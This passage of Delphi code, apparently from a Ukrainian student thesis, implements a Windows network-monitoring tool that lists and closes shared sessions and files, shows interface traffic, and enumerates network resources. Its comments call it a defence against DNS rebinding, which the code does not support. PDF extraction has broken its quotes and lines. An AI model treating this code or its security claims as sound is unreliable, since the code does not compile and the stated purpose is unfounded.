  CName9x: PAnsiChar; 
  Key:SmallInt; 
  i: Integer; 
begin 
  if not IsNT(OS) then Close; //З’ ясовуємо тип системи 
 
  if not Assigned(lvSessions.Selected) then Exit; 
  i:= lvSessions.Selected.Index; //Визначаємо номер обраної сесії 
 
  if OS then begin 
    FLibHandle := LoadLibrary(‘ NETAPI32.DLL’ ); 
    if FLibHandle = 0 then Exit; 
    @NetSessionDelNT := GetProcAddress(FLibHandle, ‘ NetSessionDel’ ); 
    if not Assigned(NetSessionDelNT) then 
    begin 
      FreeLibrary(FLibHandle); 
      Exit; 
    end; 
    //Перетворимо дані в необхідний вид 
    CNameNT := PWChar(WideString(‘ \\’ +lvSessions.Items.Item[i].Caption)); 
    NetSessionDelNT(nil,CNameNT,nil); 
  end else begin 
    FLibHandle := LoadLibrary(‘ SVRAPI.DLL’ ); 
    if FLibHandle = 0 then Exit; 
    @NetSessionDel := GetProcAddress(FLibHandle, ‘ NetSessionDel’ ); 
    if not Assigned(NetSessionDel) then 
    begin 
      FreeLibrary(FLibHandle); 
      Exit; 
    end; 
    //Перетворимо дані в необхідний вид 
    CName9x := PAnsiChar(lvSessions.Items.Item[i].Caption); 
    key := SessionCloseKey[i]; //Беремо ключ із масиву 
    NetSessionDel(nil,CName9x,Key); 
  end; 
  FreeLibrary(FLibHandle); 
end; 
 
//////////////////////////// 
// 
//  Одержання списку відкритих файлів системи кібербезпеки для протидії атаці 
DNS Rebinding 
// 
 
procedure TMainForm.btnGetFilesClick(Sender: TObject); 
var 
  OS: Boolean; 
  FLibHandle : THandle; 
  FileInfoNT: PFileInfo3Array; 
  FileInfo9x: array [0..512] of TFileInfo50; 
  TotalEntries,EntriesReadNT: DWORD; 
  EntriesRead,TotalAvial: Word; 
  i:integer; 
begin 
  lvfiles.Items.Clear; 
 
  if not IsNT(OS) then Close; //З’ ясовуємо тип системи 
 
  if OS then begin  //Код для NT 
    FLibHandle := LoadLibrary(‘ NETAPI32.DLL’ ); 
    if FLibHandle = 0 then Exit; 
    @NetFileEnumNT := GetProcAddress(FLibHandle, ‘ NetFileEnum’ ); 
    if not Assigned(NetFileEnumNT) then 
    begin 
      FreeLibrary(FLibHandle); 
      Exit; 
    end; 
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    FileInfoNT := nil; 
    if NetFileEnumNT(nil,nil,nil,3,@FileInfoNT,DWORD(-1),@entriesreadNT, 
@totalentries, nil)=0 then 
    for i:=0 to EntriesReadNT-1 do 
    begin 
      with lvFiles.Items.Add do  //Заповнення даними зі структури 
      begin 
        Caption := string(IntToStr(FileInfoNT^[i].fi3_id)); //Ідентифікатор 
        SubItems.Add(FileInfoNT^[i].fi3_pathname);   //Шлях до файлу 
        SubItems.Add(FileInfoNT^[i].fi3_username);   //Ім’ я користувача 
      end; 
    end; 
  end else begin //Код для Windows 9 x-Me 
   FLibHandle := LoadLibrary(‘ SVRAPI.DLL’ ); 
   if FLibHandle = 0 then Exit; 
   @NetFileEnum := GetProcAddress(FLibHandle, ‘ NetFileEnum’ ); 
    if not Assigned(NetFileEnum) then 
    begin 
      FreeLibrary(FLibHandle); 
      Exit; 
    end; 
   if NetFileEnum (nil, 
nil,50,@FileInfo9x,SizeOf(FileInfo9x),@EntriesRead,@TotalAvial)= 0 then 
   for i:=0 to EntriesRead-1 do 
   begin 
      with lvFiles.Items.Add do  //Заповнення даними зі структури 
      begin 
        Caption := string(IntToStr(FileInfo9x[i].fi50_id)); //Ідентифікатор 
        SubItems.Add(FileInfo9x[i].fi50_pathname); //Шлях до файлу 
        SubItems.Add(FileInfo9x[i].fi50_username); //Ім’ я користувача 
      end; 
   end; 
 end; 
 FreeLibrary(FLibHandle); 
end; 
 
//////////////////////////// 
// 
//  Закриття файлу 
// 
 
procedure TMainForm.btnCloseFileClick(Sender: TObject); 
var 
  OS: Boolean; 
  FLibHandle : THandle; 
  i: Integer; 
begin 
  if not IsNT(OS) then Close; //З’ ясовуємо тип системи 
 
  if not Assigned(lvFiles.Selected) then Exit; 
  i:= lvFiles.Selected.Index; //Визначаємо номер обраного файлу 
 
  if OS then begin //Код для NT 
    FLibHandle := LoadLibrary(‘ NETAPI32.DLL’ ); 
    if FLibHandle = 0 then Exit; 
    @NetFileClose := GetProcAddress(FLibHandle, ‘ NetFileClose’ ); 
    if not Assigned(NetFileClose) then 
    begin 
      FreeLibrary(FLibHandle); 
      Close; 
    end; 
    NetFileClose(nil,StrToInt(lvFiles.Items.Item[i].Caption));//Закриваємо файл 
  end else begin //Код для Windows 9 x-Me 
    FLibHandle := LoadLibrary(‘ SVRAPI.DLL’ ); 
    if FLibHandle = 0 then Exit; 
    @NetFileClose2 := GetProcAddress(FLibHandle, ‘ NetFileClose2’ ); 
    if not Assigned(NetFileClose2) then 
    begin 
      FreeLibrary(FLibHandle); 
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      Close; 
    end; 
    NetFileClose2(nil,StrToInt(lvFiles.Items.Item[i].Caption)); 
  end; 
  FreeLibrary(FLibHandle); 
end; 
 
//////////////////////////// 
// 
//  Визначаємо вхідний / вихідний трафік системи кібербезпеки для протидії атаці 
DNS Rebinding 
// 
 
procedure TMainForm.tmrTrafficTimer(Sender: TObject); 
  // Допоміжна функція, що перетворить МАС адресу до "нормального" виду 
  //Визначаємо спеціальний тип, щоб можна було передати у функцію масив 
  type TMAC = array [0..7] of Byte; 
  //Як перше значення масив, друге значення, розмір даних у масиві 
  function GetMAC(Value: TMAC; Length: DWORD): String; 
  var 
    i: Integer; 
  begin 
    if Length = 0 then Result := ‘  00-00-00’  else 
    begin 
      Result := ‘ ‘ ; 
      for i:= 0 to Length-2 do 
        Result := Result + IntToHex(Value[i],2)+’ -’ ; 
      Result := Result + IntToHex(Value[ Length-1],2); 
    end; 
  end; 
 
//Сама процедура 
var 
  FLibHandle : THandle; 
  Table: TMibIfTable; 
  i : integer; 
  Size   : integer; 
begin 
  tmrTraffic.Enabled := false; //Припиняємо таймер 
  lvTraffic.Items.BeginUpdate; 
  lvTraffic.Items.Clear;  //Очищаємо список 
  FLibHandle := LoadLibrary(‘ IPHLPAPI.DLL’ ); //Завантажуємо бібліотеку 
  if FLibHandle = 0 then Exit; 
  @GetIfTable := GetProcAddress(FLibHandle, ‘ GetIfTable’ ); 
  if not Assigned(GetIfTable) then 
  begin 
    FreeLibrary(FLibHandle); 
    Close; 
  end; 
 
  Size := SizeOf(Table); 
  if GetIfTable(@Table, @Size, false ) = 0 then //Виконуємо функцію 
    for i:= 0 to Table.dwNumEntries-1 do begin 
      with lvTraffic.Items.Add do begin //Виводимо результати 
        Caption := String(Table.Table[i].bDescr); //Найменування інтерфейсу 
        SubItems.Add(GetMAC(TMAC(Table.Table[i].bPhysAddr), 
          Table.Table[i].dwPhysAddrLen)); //MAC адреса 
        SubItems.Add(IntToStr(Table.Table[i].dwInOctets)); //Усього прийнято 
байт з системи кібербезпеки для протидії атаці DNS Rebinding 
        SubItems.Add(IntToStr(Table.Table[i].dwOutOctets)); //Усього відправлено 
байт у досліджуєму мережу для виявлення дестабілізуючого широкомовного трафіку 
(Preventivniy_Zahist_ot_Virusov) 
      end; 
    end; 
  lvTraffic.Items.EndUpdate; 
  FreeLibrary(FLibHandle); 
  tmrTraffic.Enabled := true; //Не забуваємо активувати таймер 
end; 
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 function OpenEnum(const NetContainerToOpen: PNetResource; ResScope, ResType, 
ResUsage: DWORD): THandle; 
var 
 hNetEnum: THandle; 
begin 
 Result:=0; 
 if (NO_ERROR<>WNetOpenEnum(ResScope, ResType, ResUsage, 
                                 NetContainerToOpen, hNetEnum)) 
 then ShowMessage(‘ Помилка!’ ) 
 else Result:=hNetEnum; 
end; 
 
function EnumResources(const ParentNode: TTreeNode; 
ResScope, ResType, ResUsage: DWORD; hNetEnum: THandle): UINT; 
 function ShowResource(const ParentNode: TTreeNode; Res: TNetResource): 
TTreeNode; 
  begin 
   Result:=MainForm.NetTree.Items.AddChild(ParentNode, 
string(Res.lpRemoteName)); 
  end; 
 
const 
 RESOURCE_BUF_ENTRIES = 2000; 
 
var 
 ResourceBuffer: array[1..RESOURCE_BUF_ENTRIES] of TNetResource; 
 i, ResourceBuf, EntriesToGet: dword; 
 NewNode: TTreeNode; 
begin 
 Result:=0; 
 while true do 
  begin 
   ResourceBuf:=sizeof(ResourceBuffer); 
   EntriesToGet:=RESOURCE_BUF_ENTRIES; 
   if (NO_ERROR<>WNetEnumResource(hNetEnum, EntriesToGet, 
                              @ResourceBuffer, ResourceBuf)) 
   then 
    begin 
     case GetLastError() of 
      NO_ERROR:  // проход буферу без перемикання 
      Break; 
      ERROR_NO_MORE_ITEMS: 
          // Повертає 0 у тому випадку, коли останов 
          // RESOURCE_BUF_ENTRIES дані на попередньому виклику, щоб  
          // WNetEnumResource, та були точно  
          // RESOURCE_BUF_ENTRIES дані в запису на момент 
          // попереднього виклику 
      Exit; 
      else ShowMessage(Помилка!’ ); 
      Result:=1; 
      Exit; 
     end; 
    end; 
   for i:=1 to EntriesToGet do 
    begin 
     NewNode:=ShowResource(ParentNode, ResourceBuffer[i]); 
     if (ResourceBuffer[i].dwUsage and RESOURCEUSAGE_CONTAINER)<>0 
     then MainForm.Open_Do_Close_Enum(NewNode, ResScope, ResType, ResUsage, 
@ResourceBuffer[i]); 
     Application.ProcessMessages; 
    end; 
  end; 
end; 
 
procedure TMainForm.Open_Do_Close_Enum(const ParentNode: TTreeNode; ResScope, 
ResType, ResUsage: DWORD; const NetContainerToOpen: PNetResource); 
var 
 hNetEnum: THandle; 
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begin 
 hNetEnum:=OpenEnum(NetContainerToOpen, ResScope, ResType, ResUsage); 
 if (hNetEnum=0) 
 then Exit; 
 EnumResources(ParentNode, ResScope, ResType, ResUsage, hNetEnum); 
 if (NO_ERROR<>WNetCloseEnum(hNetEnum)) 
 then ShowMessage(‘ WNetCloseEnum Помилка’ ); 
end;   
 
procedure TMainForm.Button1Click(Sender: TObject); 
var 
 ResScope, ResType, ResUsage: dword; 
begin 
 Button1.Caption:=‘ Пошук мережних ресурсів. Чекайте...’ ; 
 Button1.Enabled:=false; 
 // 
 NetTree.Items.Clear; 
 case rgScope.ItemIndex of 
  1: ResScope:=RESOURCE_GLOBALNET; 
  2: ResScope:=RESOURCE_REMEMBERED; 
  else ResScope:=RESOURCE_CONNECTED; 
 end; 
 ResType:=0; 
 if cbTypeAny.Checked 
 then ResType:=ResType or RESOURCETYPE_ANY; 
 if cbTypeDisk.Checked 
 then ResType:=ResType or RESOURCETYPE_DISK; 
 if cbTypePrint.Checked 
 then ResType:=ResType or RESOURCETYPE_PRINT; 
 ResUsage:=0; 
 if cbUsageConnectable.Checked 
 then ResUsage:=ResUsage or RESOURCEUSAGE_CONNECTABLE; 
 if cbUsageContainer.Checked 
 then ResUsage:=ResUsage or RESOURCEUSAGE_CONTAINER; 
 Open_Do_Close_Enum(NetTree.Items.Add(nil, ‘ Network Resources’ ), 
                               ResScope, ResType, ResUsage, nil); 
 // 
 Button1.Caption:=‘ Обновити список ресурсів’ ; 
 Button1.Enabled:=true; 
 
end; 
 
procedure TMainForm.NetTreeCustomDrawItem(Sender: TCustomTreeView; 
  Node: TTreeNode; State: TCustomDrawState; var DefaultDraw: Boolean); 
begin 
if cdsSelected in State 
 then Sender.Canvas.Font.Style:=Sender.Canvas.Font.Style+[fsUnderline]; 
end; 
 
procedure TMainForm.NetTreeDblClick(Sender: TObject); 
begin 
ShellExecute(0,’ open’ ,PChar(NetTree.Selected.Text),’ ‘ ,’ ‘ ,SW_SHOW); 
end; 
 
procedure TMainForm.NetTreeGetImageIndex(Sender: TObject; Node: TTreeNode); 
begin 
 if Node.HasChildren 
 then Node.ImageIndex:=1 
 else Node.ImageIndex:=0; 
end; 
 
procedure TMainForm.Button4Click(Sender: TObject); 
begin 
Form1.Show; 
end; 
 
procedure TMainForm.Button2Click(Sender: TObject); 
begin 
Form2.Show; 
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end; 
 
procedure TMainForm.Button3Click(Sender: TObject); 
begin 
Form3.Show; 
end; 
 
end. 
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Файл IPHLPAPI.pas - обробка API функцій 
 
 
 

unit IPHLPAPI; 
 
interface 
uses 
  Windows, winsock; 
 
const 
  VERSION       = ‘ 1.5’ ; 
 
//------- Заголовок з Microsoft IPTYPES.H-H----------------- 
 
const 
  ANY_SIZE      = 1; 
  MAX_ADAPTER_DESCRIPTION_LENGTH = 128; // arb. 
  MAX_ADAPTER_NAME_LENGTH = 256; // змінна 
  MAX_ADAPTER_ADDRESS_LENGTH = 8; // змінна 
  DEFAULT_MINIMUM_ENTITIES = 32; // змінна 
  MAX_HOSTNAME_LEN = 128; // змінна 
  MAX_DOMAIN_NAME_LEN = 128; // змінна 
  MAX_SCOPE_ID_LEN = 256; // змінна 
 
 // Вузлові типи ( NETBIOS) 
  BROADCAST_NODETYPE = 1; 
  PEER_TO_PEER_NODETYPE = 2; 
  MIXED_NODETYPE = 4; 
  HYBRID_NODETYPE = 8; 
 
  NETBIOSTypes  : array[0..8] of string[20] = 
    ( ‘ Невизначений’ , ‘ Передача’ , ‘ Рівень до рівня’ , ‘ ‘ , ‘ 

Змішаний’ , ‘ ‘ , ‘ ‘ , ‘ ‘ , ‘ Гібрід’  
      ); 
 
 // Типи адаптеру 
{ v1.4-> 1.5 
  IF_OTHER_ADAPTERTYPE = 0; 
  IF_ETHERNET_ADAPTERTYPE = 1; 
  IF_TOKEN_RING_ADAPTERTYPE = 2; 
  IF_FDDI_ADAPTERTYPE = 3; 
  IF_PPP_ADAPTERTYPE = 4; 
  IF_LOOPBACK_ADAPTERTYPE = 5; 
  IF_SLIP_ADAPTERTYPE = 6; 
 
Знайдено у ipifcons.h : 
#define MIB_IF_TYPE_OTHER               1 
#define MIB_IF_TYPE_ETHERNET            6 
#define MIB_IF_TYPE_TOKENRING           9 
#define MIB_IF_TYPE_FDDI                15 
#define MIB_IF_TYPE_PPP                 23 
#define MIB_IF_TYPE_LOOPBACK            24 
#define MIB_IF_TYPE_SLIP                28 
} 
  IF_OTHER_ADAPTERTYPE = 1; 
  IF_ETHERNET_ADAPTERTYPE = 6; 
  IF_TOKEN_RING_ADAPTERTYPE = 9; 
  IF_FDDI_ADAPTERTYPE = 15; 
  IF_PPP_ADAPTERTYPE = 23; 
  IF_LOOPBACK_ADAPTERTYPE = 24; 
  IF_SLIP_ADAPTERTYPE = 28; 
 
//  AdaptTypes    : array[0..6] of string[10] = 
//    ( ‘ інший’ , ‘ ethernet’ , ‘ tokenring’ , ‘ FDDI’ , ‘ PPP’ , ‘ 

loopback’ , ‘ SLIP’  ); 
  AdaptTypes    : array[1..28] of string[10] = 
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    ( ‘ інший’ , ‘ ‘ , ‘ ‘ , ‘ ‘ , ‘ ‘ , ‘ ethernet’ , ‘ ‘ , ‘ ‘ , ‘ 

tokenring’ , 
     ‘ ‘ , ‘ ‘ , ‘ ‘ , ‘ ‘ , ‘ ‘ , ‘ FDDI’ , ‘ ‘ , ‘ ‘ , ‘ ‘ , ‘ ‘ , ‘ ‘ , 

‘ ‘ , ‘ ‘ , ‘ PPP’ , 
     ‘ loopback’ , ‘ ‘ , ‘ ‘ , ‘ ‘ , ‘ SLIP’  ); 
// Кінець змін в типі адаптерів 
 
//-------для інших MS заготовочних файлів------------------- 
 
  MAX_INTERFACE_NAME_LEN = 256; { mrapi.h } 
  MAXLEN_PHYSADDR = 8; { iprtrmib.h } 
  MAXLEN_IFDESCR = 256; {-"--     } 
 
//----------------------------------- 
 
type 
  TMacAddress = array[1..MAX_ADAPTER_ADDRESS_LENGTH] of byte; 
 
//---IP адресні структури------------------------- 
 
  PTIP_ADDRESS_STRING = ^TIP_ADDRESS_STRING; 
  TIP_ADDRESS_STRING = array[0..15] of char; //  IP рядок 
  // 
  PTIP_ADDR_STRING = ^TIP_ADDR_STRING; 
  TIP_ADDR_STRING = packed record // для використання у зв’ язних списках 
    Next: PTIP_ADDR_STRING; 
    IpAddress: TIP_ADDRESS_STRING; 
    IpMask: TIP_ADDRESS_STRING; 
    Context: DWORD; 
  end; 
 
//-----Fixed Info структура---------------------- 
 
  PTFixedInfo = ^TFixedInfo; 
  TFixedInfo = packed record 
    HostName: array[1..MAX_HOSTNAME_LEN + 4] of char;    // дані 
    DomainName: array[1..MAX_DOMAIN_NAME_LEN + 4] of char;   // дані 
    CurrentDNSServer: PTIP_ADDR_STRING; 
    DNSServerList: TIP_ADDR_STRING; 
    NodeType: UINT; 
    ScopeID: array[1..MAX_SCOPE_ID_LEN + 4] of char;   // дані 
    EnableRouting: UINT; 
    EnableProxy: UINT; 
    EnableDNS: UINT; 
  end; 
 
//-----структура мережного інтерфейсу системи кібербезпеки для протидії 

атаці DNS Rebinding------------------------ 
 
////////////////////////// 
//                                                                          

// 
// Наступне є діючими станами для WAN да LAN інтерфейсів. // 
// Порядок станів створений для визначення. Для      // 
// стану >= CONNECTED можливо передавати дані зразу. Стан >= DISCONNECTED 

// 
// може передавати деякі дані. Стан < DISCONNECTED може   // 
// не передавати дані.                                                       

// 
// карта з поміткою UNREACHABLE якщо DIM викликає InterfaceUnreachable для       

// 
// причин. Крім невдачі з’єднання.                                   // 
//                                                                          

// 
// NON_OPERATIONAL- Перевірка для LAN інтерфейсу. Позначає карту що не 

працює       // 
//                      або не з’єднується з картою.        // 
// UNREACHABLE- Перевірка WAN інтерфейсів . Позначає, що віддалений сайт      

// 
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//                      не з’єднується за потрібний час.                         

// 
// DISCONNECTED- Перевірка WAN інтерфейсів . Позначає, що віддалений сайт      

// 
//                      не з’єднується. 
// 
// CONNECTING- Перевірка WAN інтерфейсів . Означає спробу з’єднання     // 
//                      з сайтом, якого немає.              // 
// CONNECTED- Перевірка WAN інтерфейсів . Позначає, що віддалений сайт      

// 
//                      з’єднується.                                          

// 
// OPERATIONAL- Перевірка LAN Interfaces. Позначає карту підключену // 
//                      в праці.                                     // 
//                                                                          

// 
// Усі дії користувачів записуються до  MIB-II значення    // 
// можуть бути викорстовані                                             // 
//                                                                          

// 
////////////////////////// 
 
const 
// дані додані до ipifcons.h 
  IF_OPER_STATUS_NON_OPERATIONAL = 0 ; 
  IF_OPER_STATUS_UNREACHABLE = 1 ; 
  IF_OPER_STATUS_DISCONNECTED = 2 ; 
  IF_OPER_STATUS_CONNECTING = 3 ; 
  IF_OPER_STATUS_CONNECTED = 4 ; 
  IF_OPER_STATUS_OPERATIONAL = 5 ; 
 
  MIB_IF_TYPE_OTHER = 1 ; 
  MIB_IF_TYPE_ETHERNET = 6 ; 
  MIB_IF_TYPE_TOKENRING = 9 ; 
  MIB_IF_TYPE_FDDI = 15 ; 
  MIB_IF_TYPE_PPP = 23 ; 
  MIB_IF_TYPE_LOOPBACK = 24 ; 
  MIB_IF_TYPE_SLIP = 28 ; 
 
  MIB_IF_ADMIN_STATUS_UP = 1 ; 
  MIB_IF_ADMIN_STATUS_DOWN = 2 ; 
  MIB_IF_ADMIN_STATUS_TESTING = 3 ; 
 
  MIB_IF_OPER_STATUS_NON_OPERATIONAL = 0 ; 
  MIB_IF_OPER_STATUS_UNREACHABLE = 1 ; 
  MIB_IF_OPER_STATUS_DISCONNECTED = 2 ; 
  MIB_IF_OPER_STATUS_CONNECTING = 3 ; 
  MIB_IF_OPER_STATUS_CONNECTED = 4 ; 
  MIB_IF_OPER_STATUS_OPERATIONAL = 5 ; 
 
type 
  PTMibIfRow = ^TMibIfRow; 
  TMibIfRow = packed record 
    wszName: array[1..MAX_INTERFACE_NAME_LEN] of WCHAR; 
    dwIndex: DWORD; 
    dwType: DWORD;       // дивись MIB_IF_TYPE 
    dwMTU: DWORD; 
    dwSpeed: DWORD; 
    dwPhysAddrLen: DWORD; 
    bPhysAddr: array[1..MAXLEN_PHYSADDR] of byte; 
    dwAdminStatus: DWORD;    // дивись MIB_IF_ADMIN_STATUS 
    dwOperStatus: DWORD;     // дивись MIB_IF_OPER_STATUS 
    dwLastChange: DWORD; 
    dwInOctets: DWORD; 
    dwInUcastPkts: DWORD; 
    dwInNUCastPkts: DWORD; 
    dwInDiscards: DWORD; 
    dwInErrors: DWORD; 
    dwInUnknownProtos: DWORD; 
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    dwOutOctets: DWORD; 
    dwOutUCastPkts: DWORD; 
    dwOutNUCastPkts: DWORD; 
    dwOutDiscards: DWORD; 
    dwOutErrors: DWORD; 
    dwOutQLen: DWORD; 
    dwDescrLen: DWORD; 
    bDescr: array[1..MAXLEN_IFDESCR] of char; //byte; 
  end; 
 
 // 
  PTMibIfTable = ^TMIBIfTable; 
  TMibIfTable = packed record 
    dwNumEntries: DWORD; 
    Table: array[0..ANY_SIZE- 1] of TMibIfRow; 
  end; 
 
//---ADAPTER INFO структура------------------------ 
 
  PTIP_ADAPTER_INFO = ^TIP_ADAPTER_INFO; 
  TIP_ADAPTER_INFO = packed record 
    Next: PTIP_ADAPTER_INFO; 
    ComboIndex: DWORD; 
    AdapterName: array[1..MAX_ADAPTER_NAME_LENGTH + 4] of char;       // 

дані 
    Description: array[1..MAX_ADAPTER_DESCRIPTION_LENGTH + 4] of char;    

// дані 
    AddressLength: UINT; 
    Address: array[1..MAX_ADAPTER_ADDRESS_LENGTH] of byte;      // дані 
    Index: DWORD; 
    aType: UINT; 
    DHCPEnabled: UINT; 
    CurrentIPAddress: PTIP_ADDR_STRING; 
    IPAddressList: TIP_ADDR_STRING; 
    GatewayList: TIP_ADDR_STRING; 
    DHCPServer: TIP_ADDR_STRING; 
    HaveWINS: BOOL; 
    PrimaryWINSServer: TIP_ADDR_STRING; 
    SecondaryWINSServer: TIP_ADDR_STRING; 
    LeaseObtained: LongInt ; // UNIX час, секунди з 1970 
    LeaseExpires: LongInt;   // UNIX час, секунди з 1970 
    SpareStuff: array [1..200] of char ;   // дані- простір для списку IP 

адрес системи кібербезпеки для протидії атаці DNS Rebinding 
  end; 
 
//--------TCP структура--------------------- 
 
  PTMibTCPRow = ^TMibTCPRow; 
  TMibTCPRow = packed record 
    dwState: DWORD; 
    dwLocalAddr: DWORD; 
    dwLocalPort: DWORD; 
    dwRemoteAddr: DWORD; 
    dwRemotePort: DWORD; 
  end; 
  // 
  PTMibTCPTable = ^TMibTCPTable; 
  TMibTCPTable = packed record 
    dwNumEntries: DWORD; 
    Table: array[0..0] of TMibTCPRow; 
  end; 
  // 
  PTMibTCPStats = ^TMibTCPStats; 
  TMibTCPStats = packed record 
    dwRTOAlgorithm: DWORD; 
    dwRTOMin: DWORD; 
    dwRTOMax: DWORD; 
    dwMaxConn: DWORD; 
    dwActiveOpens: DWORD; 
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    dwPassiveOpens: DWORD; 
    dwAttemptFails: DWORD; 
    dwEstabResets: DWORD; 
    dwCurrEstab: DWORD; 
    dwInSegs: DWORD; 
    dwOutSegs: DWORD; 
    dwRetransSegs: DWORD; 
    dwInErrs: DWORD; 
    dwOutRsts: DWORD; 
    dwNumConns: DWORD; 
  end; 
 
//-----UDP СТРУКТУРА -------------------------- 
 
  PTMibUDPRow = ^TMibUDPRow; 
  TMibUDPRow = packed record 
    dwLocalAddr: DWORD; 
    dwLocalPort: DWORD; 
  end; 
 // 
  PTMibUDPTable = ^TMIBUDPTable; 
  TMIBUDPTable = packed record 
    dwNumEntries: DWORD; 
    UDPTable: array[0..ANY_SIZE- 1] of TMibUDPRow; 
  end; 
 // 
  PTMibUdpStats = ^TMIBUdpStats; 
  TMIBUdpStats = packed record 
    dwInDatagrams: DWORD; 
    dwNoPorts: DWORD; 
    dwInErrors: DWORD; 
    dwOutDatagrams: DWORD; 
    dwNumAddrs: DWORD; 
  end; 
 
//------IP СТРУКТУРА ------------------------- 
 
 // 
  PTMibIPNetRow = ^TMibIPNetRow; 
  TMibIPNetRow = packed record 
    dwIndex: DWord; 
    dwPhysAddrLen: DWord; 
    bPhysAddr: TMACAddress; 
    dwAddr: DWord; 
    dwType: DWord; 
  end; 
  // 
  PTMibIPNetTable = ^TMibIPNetTable; 
  TMibIPNetTable = packed record 
    dwNumEntries: DWORD; 
    Table: array[0..ANY_SIZE- 1] of TMibIPNetRow; 
  end; 
  // 
  PTMibIPStats = ^TMibIPStats; 
  TMibIPStats = packed record 
    dwForwarding: DWORD; 
    dwDefaultTTL: DWORD; 
    dwInReceives: DWORD; 
    dwInHdrErrors: DWORD; 
    dwInAddrErrors: DWORD; 
    dwForwDatagrams: DWORD; 
    dwInUnknownProtos: DWORD; 
    dwInDiscards: DWORD; 
    dwInDelivers: DWORD; 
    dwOutRequests: DWORD; 
    dwRoutingDiscards: DWORD; 
    dwOutDiscards: DWORD; 
    dwOutNoRoutes: DWORD; 
    dwReasmTimeOut: DWORD; 

Ка
фе
др
а_
Кб
ПЗ

_2021р
ік



 24 
    dwReasmReqds: DWORD; 
    dwReasmOKs: DWORD; 
    dwReasmFails: DWORD; 
    dwFragOKs: DWORD; 
    dwFragFails: DWORD; 
    dwFragCreates: DWORD; 
    dwNumIf: DWORD; 
    dwNumAddr: DWORD; 
    dwNumRoutes: DWORD; 
  end; 
  // 
  PTMibIPAddrRow = ^TMibIPAddrRow; 
  TMibIPAddrRow = packed record 
    dwAddr: DWORD; 
    dwIndex: DWORD; 
    dwMask: DWORD; 
    dwBCastAddr: DWORD; 
    dwReasmSize: DWORD; 
    Unused1, 
    Unused2: WORD; 
  end; 
  // 
  PTMibIPAddrTable = ^TMibIPAddrTable; 
  TMibIPAddrTable = packed record 
    dwNumEntries: DWORD; 
    Table: array[0..ANY_SIZE- 1] of TMibIPAddrRow; 
  end; 
 
  // 
  PTMibIPForwardRow = ^TMibIPForwardRow; 
  TMibIPForwardRow = packed record 
    dwForwardDest: DWORD; 
    dwForwardMask: DWORD; 
    dwForwardPolicy: DWORD; 
    dwForwardNextHop: DWORD; 
    dwForwardIFIndex: DWORD; 
    dwForwardType: DWORD; 
    dwForwardProto: DWORD; 
    dwForwardAge: DWORD; 
    dwForwardNextHopAS: DWORD; 
    dwForwardMetric1: DWORD; 
    dwForwardMetric2: DWORD; 
    dwForwardMetric3: DWORD; 
    dwForwardMetric4: DWORD; 
    dwForwardMetric5: DWORD; 
  end; 
  // 
  PTMibIPForwardTable = ^TMibIPForwardTable; 
  TMibIPForwardTable = packed record 
    dwNumEntries: DWORD; 
    Table: array[0..ANY_SIZE- 1] of TMibIPForwardRow; 
  end; 
 
//---- ICMP-СТРУКТУРА ------------------------ 
 
  PTMibICMPStats = ^TMibICMPStats; 
  TMibICMPStats = packed record 
    dwMsgs: DWORD; 
    dwErrors: DWORD; 
    dwDestUnreachs: DWORD; 
    dwTimeEcxcds: DWORD; 
    dwParmProbs: DWORD; 
    dwSrcQuenchs: DWORD; 
    dwRedirects: DWORD; 
    dwEchos: DWORD; 
    dwEchoReps: DWORD; 
    dwTimeStamps: DWORD; 
    dwTimeStampReps: DWORD; 
    dwAddrMasks: DWORD; 
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    dwAddrReps: DWORD; 
  end; 
 
  PTMibICMPInfo = ^TMibICMPInfo; 
  TMibICMPInfo = packed record 
    InStats: TMibICMPStats; 
    OutStats: TMibICMPStats; 
  end; 
 
//---------імпорт до IPHLPAPI.DLL------------------ 
 
var 
 
GetAdaptersInfo: function ( pAdapterInfo: PTIP_ADAPTER_INFO; 
  pOutBufLen: PULONG ): DWORD; stdcall; 
 
GetNetworkParams: function ( FixedInfo: PTFixedInfo; pOutPutLen: PULONG ): 
        DWORD; stdcall; 
 
GetTcpTable: function ( pTCPTable: PTMibTCPTable; pDWSize: PDWORD; 
  bOrder: BOOL ): DWORD; stdcall; 
 
GetTcpStatistics: function ( pStats: PTMibTCPStats ): DWORD; stdcall; 
 
GetUdpTable: function ( pUdpTable: PTMibUDPTable; pDWSize: PDWORD; 
 bOrder: BOOL ): DWORD; stdcall; 
 
GetUdpStatistics: function ( pStats: PTMibUdpStats ): DWORD; stdcall; 
 
GetIpStatistics: function ( pStats: PTMibIPStats ): DWORD; stdcall; 
 
GetIpNetTable: function ( pIpNetTable: PTMibIPNetTable; 
  pdwSize: PULONG;  bOrder: BOOL ): DWORD; stdcall; 
 
GetIpAddrTable: function ( pIpAddrTable: PTMibIPAddrTable; 
  pdwSize: PULONG; bOrder: BOOL ): DWORD; stdcall; 
 
GetIpForwardTable: function ( pIPForwardTable: PTMibIPForwardTable; 
  pdwSize: PULONG; bOrder: BOOL ): DWORD; stdCall; 
 
GetIcmpStatistics: function ( pStats: PTMibICMPInfo ): DWORD; stdCall; 
 
GetRTTAndHopCount: function ( DestIPAddress: DWORD; HopCount: PULONG; 
  MaxHops: ULONG; RTT: PULONG ): BOOL; stdCall; 
 
GetIfTable: function ( pIfTable: PTMibIfTable; pdwSize: PULONG; 
  bOrder: boolean ): DWORD; stdCall; 
 
GetIfEntry: function ( pIfRow: PTMibIfRow ): DWORD; stdCall; 
 
// попередження – недокументована функція, можливі помилки при 

використанні 
GetFriendlyIfIndex: function (var IfIndex: DWORD): DWORD; stdcall; 
 
 
const 
    IpHlpDLL = ‘ IPHLPAPI.DLL’ ; 
var 
    IpHlpModule: THandle; 
 
    function LoadIpHlp: Boolean; 
 
implementation 
 
function LoadIpHlp: Boolean; 
begin 
    Result := True; 
    if IpHlpModule <> 0 then Exit; 
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// відкрити DLL 
    IpHlpModule := LoadLibrary (IpHlpDLL); 
    if IpHlpModule = 0 then 
    begin 
        Result := false; 
        exit ; 
    end ; 
    GetAdaptersInfo := GetProcAddress (IpHlpModule, ‘ GetAdaptersInfo’ ) ; 
    GetNetworkParams := GetProcAddress (IpHlpModule, ‘ GetNetworkParams’ ) 

; 
    GetTcpTable := GetProcAddress (IpHlpModule, ‘ GetTcpTable’ ) ; 
    GetTcpStatistics := GetProcAddress (IpHlpModule, ‘ GetTcpStatistics’ ) 

; 
    GetUdpTable := GetProcAddress (IpHlpModule, ‘ GetUdpTable’ ) ; 
    GetUdpStatistics := GetProcAddress (IpHlpModule, ‘ GetUdpStatistics’ ) 

; 
